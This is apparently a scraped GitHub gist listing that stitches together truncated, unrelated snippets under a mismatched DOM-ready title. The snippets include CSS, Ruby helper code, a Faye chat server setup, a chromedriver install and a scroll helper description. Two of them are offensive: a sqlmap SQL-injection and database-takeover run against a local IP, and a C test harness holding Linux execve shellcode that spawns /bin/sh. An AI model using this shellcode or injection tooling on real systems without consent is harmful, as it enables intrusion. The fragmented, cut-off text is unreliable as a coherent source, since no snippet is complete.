Tiny Cross-browser DOM ready function in 111 bytes of JavaScript.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z "ign,flu,bat" --banner -f | |
sqlmap/1.0-dev-7614c81 - automatic SQL injection and database takeover tool | |
http://sqlmap.org | |
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program | |
[*] starting at 10:30:49 | |
[10:30:49] [INFO] testing connection to the target url |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
#include<string.h> | |
unsigned char code[] = \ | |
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; | |
main() | |
{ | |
printf("Shellcode Length: %d\n", strlen(code)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// For IE | |
.btn-inverse:active, | |
.btn-inverse.active { | |
background-color: #080808 \9; | |
} | |
// Add 'btn-flat' to your buttons | |
.btn-flat { | |
filter:progid:DXImageTransform.Microsoft.Gradient(enabled='false'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# some ./app/helpers/some_helper.rb, in my case actually in an engine gem | |
module SomeGemHelper | |
def my_gem_decorate(model) | |
# Here I'm hard-coding to always decorate with MyDecorator, | |
# but it could also be passed in as a method arg, or guessed | |
# from the model.class name, or from a differnet model attribute | |
# like model.presenter_class, or taken from configuration, or | |
# some combination -- whatever meets the needs of your design. | |
decorated = MyDecorator.new(model, self) | |
yield if block_given? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'delegate' | |
class Base | |
def foo | |
"foo" | |
end | |
def bar | |
"bar" | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Run with: rackup faye.ru -s thin -E production | |
# For executor-customer chat | |
require "bundler/setup" | |
require "faye" | |
require 'redis' | |
require 'redis/objects' | |
Redis.current = Redis.new(:host => '127.0.0.1', :port => 6379) | |
Faye::WebSocket.load_adapter('thin') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install unzip; | |
wget -O /tmp/chromedriver.zip http://chromedriver.googlecode.com/files/chromedriver_linux64_19.0.1068.0.zip && sudo unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/; |
This gist provides a simple JavaScript implementation of the non-standard WebKit method scrollIntoViewIfNeeded
that can be called on DOM elements.
Just use the code in index.js
in your app or website. You can see usage in the test page test.html
.
The parent element will only scroll if the element being called is out of the view. The boolean can force the element to be centered in the scrolling area.